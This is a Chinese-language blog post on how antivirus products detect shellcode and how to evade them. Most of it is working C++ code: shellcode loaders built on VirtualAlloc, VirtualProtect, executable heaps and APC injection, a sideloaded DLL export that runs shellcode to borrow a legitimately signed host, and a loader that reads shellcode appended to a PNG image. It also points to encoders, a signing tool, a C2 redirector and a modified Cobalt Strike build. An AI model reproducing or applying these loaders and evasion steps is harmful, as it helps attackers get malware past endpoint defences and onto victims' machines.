白菜
白菜
发布于 2025-08-19 / 45 阅读
0
0

杀软查杀原理及基本的绕过思路

首先我们看一个最基础的c++shellcode加载器

//1.申请内存
//2.copy shellcode到内存
//3.执行内存中的shellcode
#include <windows.h> //windows.h头文件包含了Windows API的函数和数据类型
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
//main函数是程序的入口点
void main() {
	
	/* length: 893 bytes */
	unsigned char buf[] = "\xfc\x48";
	//1.申请内存
	LPVOID addr=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE );//1参数是内存区域首选基地址,NULL表示系统选择地址,2参数指定内存区域的大小,3参数指定内存分配类型,4参数指定内存保护属性
	//2.copy shellcode到内存
	memcpy(addr, buf, sizeof(buf));//1参数是目标内存地址,2参数是源内存地址,3参数是要复制的字节数
	//3.执行内存中的shellcode
	HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); //创建一个线程来执行shellcode 3参数是线程的起始地址,指针指向那个参数
	//等待线程执行完毕
	WaitForSingleObject(hThread,-1); 
	//关闭线程句柄
	CloseHandle(hThread); //关闭线程句柄,释放资源
	//free(addr); //释放内存
}

步骤分别为

  1. 申请内存

  2. 把shellcode copy到内存中

  3. 执行shellcode(包含最后释放内存,当然使用有些方式执行不需要写释放语句也会自动释放)

1.静态查杀

从代码里面看

函数

杀软会反编译/查看exe中字符串的方式查看代码,可以看到里面的一些函数和汇编代码

VirtualAlloc,RtlMemory,CreateThread,HeapAlloc之类的

shellcode

杀软会查看识别shellcode的特征,最经典的就是fc48

文件名 hash

比如默认叫beacon.exe,360就会给干掉,哪怕是个helloworld

加密

有加壳,加解密行为

数字签名

自己写的都是查不到的

资源文件

软件图标信息,产品名称之类的

动态查杀

网络

回连的流量特征,vps被标记成cs远控,还有通信流量特征,比如cs的通信流量会有混淆加密,如有些杀软会识别这是cs流量于是就会干掉

内存相关

内存相关属性,rwx,不正常的进程链

基本的绕过思路

应对静态查杀

对于代码

函数

使用不同函数来规避,改变申请内存,copy内存,执行内存shellcode使用的函数和方式实现绕过,同时补充,使用不同语言编译的效果不同,有些语言在编译时本身就会用到一些敏感函数,使用不同的编译参数效果也不同,因此可以尝试使用不同语言编译,编译参数fuzz达到免杀。

有些使用不同的函数就是不同的加载方式,也可以达到免杀。

这里举几个方式并且附上对比:

VirtualAlloc可以换成virtualprotect函数并且使用指针执行(指针执行不一定是必杀的)

VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE )

void main() {
DWORD oldProtect = 0;
// 修改数据内存属性为可执行
VirtualProtect(sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
// 把这个内存的数据转成指针函数, 函数()调用 , 执行shellcode代码 
 ((void(*)()) & sc)();
}

通过堆加载,使用HeapCreate执行,而非CreateThread

HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL);

// 创建一个具有执行权限的堆,以存储shellcode
 HANDLE HeapHandle = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, sizeof(sc), 0);
 // 在创建的堆中分配一块内存,并将其地址赋给buffer
 char* buffer = (char*)HeapAlloc(HeapHandle, HEAP_ZERO_MEMORY, sizeof(sc));

APC注入(异步执行)


HANDLE hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)addr, NULL, 0, NULL); //创建一个线程来执行shellcode 3参数是线程的起始地址,指针指向那个参数
	//等待线程执行完毕
	WaitForSingleObject(hThread,-1); 
	//关闭线程句柄
	CloseHandle(hThread); //关闭线程句柄,释放资源
	//free(addr); //释放内存

typedef DWORD(WINAPI* pNtTestAlert)();
void main() {
// 修改 shellcode 所在内存区域的保护属性,允许执行
DWORD oldProtect;
VirtualProtect((LPVOID)sc, sizeof(sc), PAGE_EXECUTE_READWRITE, &oldProtect);
/*
获取NtTestAlert函数地址, 因为它是一个内部函数.无法直接通过函数名调用
这个函数用于检查当前线程的 APC(Asynchronous Procedure Call,异步过程调用)队列,如
果队列中有挂起的用户模式 APC 请求,NtTestAlert 将触发它们的执行
*/
pNtTestAlert NtTestAlert = (pNtTestAlert)(GetProcAddress(GetModuleHandleA("ntdll"), 
"NtTestAlert"));
// 向当前线程的异步过程调用(APC)队列添加一个执行shellcode的任务
QueueUserAPC((PAPCFUNC)(PTHREAD_START_ROUTINE)(LPVOID)sc, GetCurrentThread(), 
NULL);
//调用NtTestAlert,触发 APC 队列中的任务执行(即执行 shellcode)
NtTestAlert();
}

修改data段属性(之前申请可读可执行内存还需要调用api,直接写在data段就不用了)

#include <windows.h> //windows.h头文件包含了Windows API的函数和数据类型
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")

#include <windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
#pragma comment(linker, "/section:.data,RWE")//设置 data段可读可写可执行
//全局变量在 data段
unsigned char sc[] = "\xfc\x48\x83";
int main() {
 ((void(*)()) & sc)();
}

对于shellcode

通过不同的加密,编码方式实现特征消除,推荐使用sgn,当然也有别的,比如base64加解密,aes加解密,异或加密等等

https://github.com/EgeBalci/sgn

命令:-a是位数,-c是编码次数 后面的是生成文件名和使用的文件

sgn -a 64 -c 1 pd.bin payload.bin

对于数字签名

可以通过白加黑dll来伪造有效的签名

这里推荐工具SkyShadow

https://github.com/Librafeng/SkyShadow

python3 SkyShadow.py 路径,生成的payload目录里带有数字签名的

1.运行exe提示只缺少一个dll的就是所需要的,看一下dll名称,比如运行报错找不到xxx.dll,后面写dll的时候在payload目录下要和之前报错的名称相同。

2.打开txt根据提示制作dll文件于当前文件夹,然后运行再次查看报错

3.发现调用了这个函数

/ dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <stdint.h>
extern "C" __declspec(dllexport) int GetInstallDetailsPayload() {
 return 0;
}
extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() {
 return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
 DWORD ul_reason_for_call,
 LPVOID lpReserved
)
{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

4.然后直接修改函数内容改为调用执行我们的shellcode即可

/ dllmain.cpp : 定义 DLL 应用程序的入口点。
#include "pch.h"
#include <iostream>
#include <stdint.h>
extern "C" __declspec(dllexport) int GetInstallDetailsPayload() {
 unsigned char sc[] =
"\xfc\x48";
 LPVOID addr = VirtualAlloc(0, sizeof(sc), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(addr, sc, sizeof(sc));
 ((void(*)())addr)();
 return 0;
}
extern "C" __declspec(dllexport) int SignalInitializeCrashReporting() {
 return 0;
}
BOOL APIENTRY DllMain(HMODULE hModule,
 DWORD ul_reason_for_call,
 LPVOID lpReserved
)
{
 switch (ul_reason_for_call)
 {
 case DLL_PROCESS_ATTACH:
 case DLL_THREAD_ATTACH:
 case DLL_THREAD_DETACH:
 case DLL_PROCESS_DETACH:
 break;
 }
 return TRUE;
}

大功告成,黑dll编写完毕,白程序怎么找,那就要到应用市场了,下载一堆,然后通通拉过来挖掘

应对动态查杀

网络

cs服务器不用了就关,使用代理,通信流量不加密(有些杀软看到加密才杀),可以通过配置profile文件,使用代理工具实现·,网上二开版本的cs流量特征也不一样,可以用以下,比如猫猫版坤坤版

反向代理使用工具:redguard 参考说明

https://github.com/wikiZ/RedGuard

RedGuard - C2前置流量控制工具-先知社区

坤坤版cs挺好用的,链接

https://github.com/D13Xian/CobaltStrike-KunKun

内存相关

有阶段执行更改为无阶段(与服务器回连这个过程是不可控的,使用无阶段上线可以免去这一步),加载方式修改,线程协程执行,还有sleep时间延长,分段加载等

比如图片加载

python脚本插入shellcode

def main(shell_code, file_name="a.png"):
# 打开a.png
with open(file_name, mode="rb") as f:
data = f.read()
print("shell_code 起始位置为:", len(data))
with open("a_new.png", mode="wb") as f:
f.write(data+shell_code)
print("shell_code 插入成功")
if __name__ == '__main__':
data = b"shellcode"
main(data)
include <stdio.h>
#include <stdlib.h>
#include <Windows.h>
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"") // 不显示黑窗
int main() {
FILE* file = fopen("a_new.png", "rb");
if (!file) {
perror("Error opening file");
return 1;
 }
// 获取文件大小
fseek(file, 0, SEEK_END);
long size = ftell(file);
fseek(file, 1101128, SEEK_SET); // 重新设置文件指针到起始位置
// 读取内容
char* content = (char*)malloc(size);
if (!content) {
perror("Error allocating memory");
fclose(file); 
return 1;
 }
fread(content, 1, size, file);
fclose(file);
// 申请内存
LPVOID p = VirtualAlloc(NULL, size, MEM_COMMIT | MEM_RESERVE, 
PAGE_EXECUTE_READWRITE);
if (p == NULL) {
DWORD error = GetLastError();
fprintf(stderr, "Error allocating memory. GetLastError: %lu\n", error);
free(content);
return 1;
 }
// 复制 shellcode 进申请的内存中
memcpy(p, content, size);
// 创建线程
HANDLE h = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)p, NULL, 0, NULL);
if (h == NULL) {
fprintf(stderr, "Error creating thread\n");
free(content);
return 1;
 }
// 等待线程完成
WaitForSingleObject(h, INFINITE);
// 释放内存
VirtualFree(p, 0, MEM_RELEASE);
free(content);
return 0;
}


评论